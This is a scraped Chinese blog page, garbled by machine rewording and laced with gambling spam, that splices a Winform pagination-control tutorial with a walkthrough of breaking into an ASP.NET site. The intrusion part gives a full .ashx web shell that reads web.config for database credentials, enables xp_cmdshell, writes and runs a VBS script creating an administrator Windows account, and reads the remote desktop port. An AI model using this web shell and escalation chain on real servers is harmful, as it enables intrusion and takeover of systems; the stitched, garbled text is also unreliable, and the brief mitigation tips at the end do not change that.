ASP.NET网站侵袭第①波(LeaRun.消息化飞速支付框架 已被作者砍下)葡京在线开户

 利用控件内置的分页协助类

View Code

葡京在线开户 1 
 2)表格数据打字与印刷预览

三 、用ashx在网站根目录输出vbs脚本(创设Windows账户脚本)

            }
            string where = condition.BuildConditionSql().Replace(“Where”, “”);
            return where;
        }

二 、正是在上传文件的目录下新创设个web.config
把拥有请求都推辞,(C#是足以读取的,只是要求用Response.WriteFile 输出)

            using (IDataReader dr = db.ExecuteReader(command))
            {
                while (dr.Read())
                {
                    result.AppendFormat(“{0},”, dr[0].ToString());
                }
            }
            string strResult = result.ToString().Trim(‘,’);
            return strResult;
        }

。。。。。。。。。。。。。。。。

在Winform开发中,一向离不开分页处理,好的分页控件封装,能为支付节省不可胜计时日和麻烦工作,对分页控件一向的革新和完美,也是自己的志趣之一。这一次重庆大学达成对分页控件的两全重构,优化功效及界面包车型地铁拍卖,并统一实现普通版、基于DotNetbar界面控件版本、DevExpress界面控件版本三大学本科子的公告,那多少个界面版本,除了界面表现效果差异外,全数的效益体现及选拔代码完全一致,保障用户的学问投资及给客户可以的行使操作。本次重庆大学扩大的机能有:可因此界面设置列表彰显的列,可复制选定的行消息,可安装显示的行号、可设置展现间隔行的颜料等职能。上边分别对多少个例子的截图实行一体化介绍,然后在事无巨细介绍

這里大家以 “LeaRun.新闻化连忙支付框架”的在线按钮为例

为了使得我们对本人的Winform分页控件在不一样景况下的中肯摸底和利用,作者专门编写了二种情状下的选用规范例子,供大家下载学习钻研,例子包蕴动用基于泛型方式的Winform开发架构的分页控件使用例子,基于守旧精炼多少绑定的分页控件使用例子,
基于DotNetBar界面控件及简便多少绑定的分页控件使用例子,基于DevExpress界面控件及简单多少绑定的分页控件使用例子,如下图所示。

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/freeast" 

 葡京在线开户 2

运转后直线ashx 得到数据库连接,如图

        /// <summary>    
        /// 执行SQL查询语句,再次回到查询结果的富有记录的第一个字段,用逗号分隔。    
        /// </summary>    
        /// <param name=”sql”>SQL语句</param>    
        /// <returns>    
        /// 重回查询结果的装有记录的第一个字段,用逗号分隔。    
        /// </returns>    
        public string SqlValueList(string sql)
        {
            StringBuilder result = new StringBuilder();
            Database db = DatabaseFactory.CreateDatabase();
            DbCommand command = db.GetSqlStringCommand(sql);

运作结果如下:

        private void BindData()
        {
            #region 添加外号解析
            //DisplayColumns与显示的字段名大概实体性质一致,大小写不灵敏,顺序代表呈现顺序,用逗号只怕|分开
            this.winGridViewPager1.DisplayColumns = “Number,NAME,type,Area,Company,Address,Telephone1,Telephone2,Telephone3,Telephone4,Telephone5,CreateDate,Note,LastUpdated”;
            this.winGridViewPager1.AddColumnAlias(“ID”, “编号”);
            this.winGridViewPager1.AddColumn阿里as(“Number”, “客户编号”);
            this.winGridViewPager1.AddColumnAlias(“Name”, “客户名称”);
            this.winGridViewPager1.AddColumnAlias(“Type”, “客户类型”);
            this.winGridViewPager1.AddColumnAlias(“Area”, “客户地区”);
            this.winGridViewPager1.AddColumnAlias(“Company”, “客户单位”);
            this.winGridViewPager1.AddColumnAlias(“Address”, “客户地址”);
            this.winGridViewPager1.AddColumnAlias(“Telephone1”, “电话1”);
            this.winGridViewPager1.AddColumnAlias(“Telephone2”, “电话2”);
            this.winGridViewPager1.AddColumnAlias(“Telephone3”, “电话3”);
            this.winGridViewPager1.AddColumnAlias(“Telephone4”, “电话4”);
            this.winGridViewPager1.AddColumnAlias(“Telephone5”, “电话5”);
            this.winGridViewPager1.AddColumnAlias(“CreateDate”, “开户日期”);
            this.winGridViewPager1.AddColumnAlias(“Shop_ID”, “分店ID”);
            this.winGridViewPager1.AddColumnAlias(“Note”, “备注”);
            this.winGridViewPager1.AddColumnAlias(“LastUpdated”, “更新日期”);

    上篇小编讲了哪些在上传文件中入侵服务器,這次大家多少多讲一点。

            string value = SqlValueList(countSql);
            pagerInfo.RecordCount = Convert.ToInt32(value);//为了展示具体的新闻,需求安装总记录数
            DataTable dt = SqlTable(dataSql);
            return dt;
        }

好了 到這里 一切的成功了 ,打开远程桌面连接吧。。

            string where = GetSearchSql();
            this.winGridViewPager1.DataSource = FindToDataTable(where, this.winGridViewPager1.PagerInfo);
       } 

sp_configure 'show advanced options',1  reconfigure

Go

sp_configure 'xp_cmdshell',1 reconfigure

 

代码如下:

葡京在线开户 3 

② 、用ashx页面已文本方式显得web.Config的始末 得到数据库连接,

            BindData();
       }

好了 ,大家抓紧把前边的门类整理贰回呢,把能补的补上。。。。
千万别用這些漏洞去做坏事哦  ,。。。
那样你会被请去喝茶的。。。。-.-!!!!!

 葡京在线开户 4

在结尾执行vbs脚本

 4)复制选定行后在文件中查阅

/// <summary>
        /// 显示配置文件
        /// </summary>
        /// <param name="context"></param>
        public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }
        /// <summary>
        /// 写vbs脚本
        /// </summary>
        /// <param name="context"></param>
        public void WriteVbs(HttpContext context)
        {
            System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSet ob=GetObject(os) '得到adsi接口,绑定\r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nSet od=ob.Create(\"user\",\"test\") '建立用户\r\nod.SetPassword \"1234\" '设置密码\r\nod.SetInfo '保存\r\nSet of=GetObject(os&\"/test\",user) '得到用户\r\noe.add os&\"/freeast\" \r\n");
        }
        /// <summary>
        /// 直线数据库
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql(string connection, string sql)
        {
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    commd.ExecuteNonQuery();
                    con.Close();
                }
            }
        }
        /// <summary>
        /// 直线数据库并输出表格
        /// </summary>
        /// <param name="context"></param>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql1(HttpContext context,string connection, string sql)
        {
            System.Data.DataTable table = new System.Data.DataTable();
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    using (SqlDataAdapter ad = new SqlDataAdapter(commd))
                    {
                        ad.Fill(table);
                    }
                    con.Close();
                }
            }
            foreach (System.Data.DataRow row in table.Rows)
            {
                foreach (System.Data.DataColumn column in table.Columns)
                {
                    context.Response.Write(row[column]);
                    context.Response.Write("\t");
                }
                context.Response.Write("\r\n");
            }
        }
        /// <summary>
        /// 显示远程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
        }
        public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";

            try
            {
                var connection = context.Request.QueryString["connection"];
                switch (context.Request.QueryString["method"])
                {
                    case "1": WriteVbs(context); break;
                    case "2":
                        ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
                        ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
                        break;
                    case "3": ExecuteSql1(context, connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
                        break;
                    case "4": ShowPort(context); break;
                    default:
                        ShowWebConfig(context);
                        break;
                }
            }
            catch (Exception ex)
            {
                context.Response.Write(ex.Message);
            }
            context.Response.End();
        }
        public bool IsReusable
        {
            get
            {
                return false;
            }
        }

1)设置表格列的可知性 

壹 、上传代码页面  小编上传的是ashx页面。

1)普通版(即不引用任何第二方界面控件)效果图

葡京在线开户,好 这声明直线成功了。。。。 相当于服务器用户增加成功了

葡京在线开户 5 

葡京在线开户 6葡京在线开户 7

不少人原先看过我介绍分页控件的用法的时候,总会认为上边的数据绑定形式接近简单,实操可能绑定数据连接有标题,因为不驾驭Find函数里面要求贯彻那个操作,因为这个是遵照本身框架的应用逻辑。其实Find方法便是基于分页属性计算获取相应记录,然后把总记录数赋值给分页控件的属性。

ashx代码文件如下

 以上是对分页控件的有关事件开始展览拍卖,假使完成了有关的风云,那么相应的菜系(如新增、编辑、删除等)就会在右键菜单中冒出,否则不会并发,相应的事件正是有血有肉对应操作的拍卖菜单操作。其它,分页控件的一些质量,如是或不是出示行号、页面展现记录大小、间隔颜色等属性也得以在此处设置。

因为这次公开还没赶趟布告  事主
于是本身帮事主把那个漏洞补上了后才发出去的,所以你们也毫不去试了  
-.-!!!!

流行分页控件的相关界面截图如下所示。

   如故先讲下流程:

 

 

        private void FrmCustomer_Load(object sender, EventArgs e)
        {
            this.winGridViewPager1.ProgressBar = this.toolStripProgressBar1.ProgressBar;
            this.winGridViewPager1.OnPageChanged += new EventHandler(winGridViewPager1_OnPageChanged);
            this.winGridViewPager1.OnStartExport += new EventHandler(winGridViewPager1_OnStartExport);
            this.winGridViewPager1.OnEditSelected += new EventHandler(winGridViewPager1_OnEditSelected);
            this.winGridViewPager1.OnDeleteSelected += new EventHandler(winGridViewPager1_OnDeleteSelected);
            this.winGridViewPager1.OnRefresh += new EventHandler(winGridViewPager1_OnRefresh);
            this.winGridViewPager1.OnAddNew += new EventHandler(winGridViewPager1_OnAddNew);
            this.winGridViewPager1.AppendedMenu = this.contextMenuStrip1;//追加额外菜单连串
            this.winGridViewPager1.ShowLineNumber = true;//显示行号
            this.winGridViewPager1.PagerInfo.PageSize = 30;//页面大小
            this.winGridViewPager1.伊芙ntRowBackColor = Color.LightCyan;//间隔颜色

三 、全体减小

FindToDataTable函数的连锁落实代码如下所示:

小编小学文化,语言协会力量差,写的不通的地点请大家将就着看,不喜勿喷。

葡京在线开户 8 

 

3) 基于DevExpress界面控件版本

然后我在的话说补救的艺术,小编就归纳介绍二种了

这几个先导化设置达成后,一般查询界面都会有3个标准的整合,然后通过结合条件查询数据库记录并呈现,显示的时候,分页控件可以安装对应字段的国语突显名称,展现的字段列,呈现顺序等。展现字段的各类正是列表的体现顺序,那么些天性也是新本子扩大的效劳之一。        

public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }

        /// <summary>    
        /// 执行SQL查询语句,再次来到全体记录的DataTable集合。    
        /// </summary>    
        /// <param name=”sql”>SQL查询语句</param>    
        /// <returns></returns>    
        public DataTable SqlTable(string sql)
        {
            Database db = DatabaseFactory.CreateDatabase();
            DbCommand command = db.GetSqlStringCommand(sql);
            return db.ExecuteDataSet(command).Tables[0];
         }

葡京在线开户 9葡京在线开户 10

            #endregion

View Code

分页控件绑定数据如下代码所示。

 

上海教室中,石磨蓝的菜谱是分页控件内置的菜单项,其余程序附加是扩充菜单体系,个中复制选定行音讯、设置表格呈现列、打字与印刷列表是对表格基本的操作功效。上边多少个本子的控件右键菜单均表现一样。 

 

动用分页控件的基础代码,在全部以上版本中,代码均一致,只是有的异样的操作,须求接纳到不相同的控件,有所差别而已。起首化分页控件代码如下所示。

 

 

 

        /// <summary>
        /// 依据查询条件构造查询语句
        /// </summary>
        /// <returns></returns>
        private string GetSearchSql()
        {
            SearchCondition condition = new SearchCondition();
            condition.AddCondition(“Number”, this.txtNumber.Text, SqlOperator.Like)
                .AddCondition(“Name”, this.txtName.Text, SqlOperator.Like)
                .AddCondition(“Type”, this.cmbType.Text, SqlOperator.Like)
                .AddCondition(“Area”, this.cmbArea.Text, SqlOperator.Like)
                .AddCondition(“Address”, this.txtAddress.Text, SqlOperator.Like)
                .AddCondition(“Company”, this.txtCompany.Text, SqlOperator.Like)
                .AddCondition(“Note”, this.txtNote.Text, SqlOperator.Like)
                .AddCondition(“Telephone1”, this.txtTelephone.Text, SqlOperator.Like, true, “Telephone”)
                .AddCondition(“Telephone2”, this.txtTelephone.Text, SqlOperator.Like, true, “Telephone”)
                .AddCondition(“Telephone3”, this.txtTelephone.Text, SqlOperator.Like, true, “Telephone”)
                .AddCondition(“Telephone4”, this.txtTelephone.Text, SqlOperator.Like, true, “Telephone”)
                .AddCondition(“Telephone5”, this.txtTelephone.Text, SqlOperator.Like, true, “Telephone”);

葡京在线开户 11

       private void winGridViewPager1_OnPageChanged(object sender, EventArgs e)
        {
            BindData();
        }

说不上就是成立Windows账户的本子

        private void btnSearch_Click(object sender, EventArgs e)
        {
            BindData();
        }

上传文件作者就隐瞒了,上篇有人在问小编怎么显得web.Config的始末,作者那里具爱抚下代码
其实不会细小略,File.ReadAllText  web.config文件就足以了

各类例子的源码的下载地址如下:http://www.iqidi.com/download/TestWinPager_Demo.rar 

于今要开端远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,

2) 基于DotNetbar界面控件版本

⑤ 、利用数据库执行在网站根目录输出vbs脚本。侵袭就成功了

葡京在线开户 12 

/// <summary>
        /// 显示远程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
        }

上边大家来介绍三个不要求依赖小编的Winform框架类,只是引用微软EnterpriseLibary数据库操作类即可成功的操作,因为最新的分页控件集成了多少个依照Oracle、SqlServer、Access、Mysql数据库的分页逻辑,只须求选择PagerHelper这些类,传入相关的参数即可。

④ 、开启数据库的xp_cmdshell。

3)行数据基本音讯提示 

exec master..xp_cmdshell 'cscript 脚本文件目录"'

        /// <summary>
        /// 标准的记录查询函数
        /// </summary>
        /// <param name=”where”></param>
        /// <param name=”pagerInfo”></param>
        /// <returns></returns>
        private DataTable FindToDataTable(string where, PagerInfo pagerInfo)
        {
            WHC.Pager.WinControl.PagerHelper helper = new WHC.Pager.WinControl.PagerHelper(“All_Customer”, “*”, “LastUpdated”, pagerInfo.PageSize, pagerInfo.CurrenetPageIndex, true, where);
            string countSql = helper.GetPagingSql(WHC.Pager.WinControl.DatabaseType.Access, true);
            string dataSql = helper.GetPagingSql(WHC.Pager.WinControl.DatabaseType.Access, false);

接下来打开数据库的xp_cmdshell。

            if (chkUseDate.Checked)
            {
                condition.AddCondition(“CreateDate”, dateTimePicker1.Value.ToString(“yyyy-MM-dd”), SqlOperator.MoreThanOrEqual, true)
                    .AddCondition(“CreateDate”, dateTimePicker2.Value.AddDays(1).ToString(“yyyy-MM-dd”), SqlOperator.LessThanOrEqual, true);

葡京在线开户 13

            #endregion

葡京在线开户 14

WHC.Pager.WinControl.PagerHelper,你就能够毫不理会种种分化数据库的分页达成逻辑,只必要遵守以上的调用格局调用即可,此类传入的首先个参数,既能够是表名,也得以是一段查询语句,十一分有利于各个复杂条件的询问分页

① 、将上传的文件放到网站外,约等于说 让iit读取不到(但记得分配权限)
,如:假诺自个儿网站放在 d:\\Web\Oa\ 
这几个是自小编网站的跟目录,那么本人上传的文本 能够放置 d:\File\OA
里面,别人就无法一向访问

        private void BindData()
        {
            #region 添加外号解析
            //DisplayColumns与呈现的字段名也许实体性质一致,大小写不灵动,顺序代表显示顺序,用逗号或许|分开
            this.winGridViewPager1.DisplayColumns = “Number,NAME,type,Area,Company,Address,Telephone1,Telephone2,Telephone3,Telephone4,Telephone5,CreateDate,Note,LastUpdated”;
            this.winGridViewPager1.AddColumnAlias(“ID”, “编号”);
            this.winGridViewPager1.AddColumnAlias(“Number”, “客户编号”);
            this.winGridViewPager1.AddColumnAlias(“Name”, “客户名称”);
            this.winGridViewPager1.AddColumnAlias(“Type”, “客户类型”);
            this.winGridViewPager1.AddColumnAlias(“Area”, “客户地区”);
            this.winGridViewPager1.AddColumnAlias(“Company”, “客户单位”);
            this.winGridViewPager1.AddColumnAlias(“Address”, “客户地址”);
            this.winGridViewPager1.AddColumnAlias(“Telephone1”, “电话1”);
            this.winGridViewPager1.AddColumnAlias(“Telephone2”, “电话2”);
            this.winGridViewPager1.AddColumnAlias(“Telephone3”, “电话3”);
            this.winGridViewPager1.AddColumnAlias(“Telephone4”, “电话4”);
            this.winGridViewPager1.AddColumnAlias(“Telephone5”, “电话5”);
            this.winGridViewPager1.AddColumnAlias(“CreateDate”, “开户日期”);
            this.winGridViewPager1.AddColumnAlias(“Shop_ID”, “分店ID”);
            this.winGridViewPager1.AddColumnAlias(“Note”, “备注”);
            this.winGridViewPager1.AddColumnAlias(“LastUpdated”, “更新日期”);

 

葡京在线开户 15 

            string where = GetSearchSql();
            this.winGridViewPager1.DataSource = BLLFactory<Customer>.Instance.Find(where, this.winGridViewPager1.PagerInfo);
        }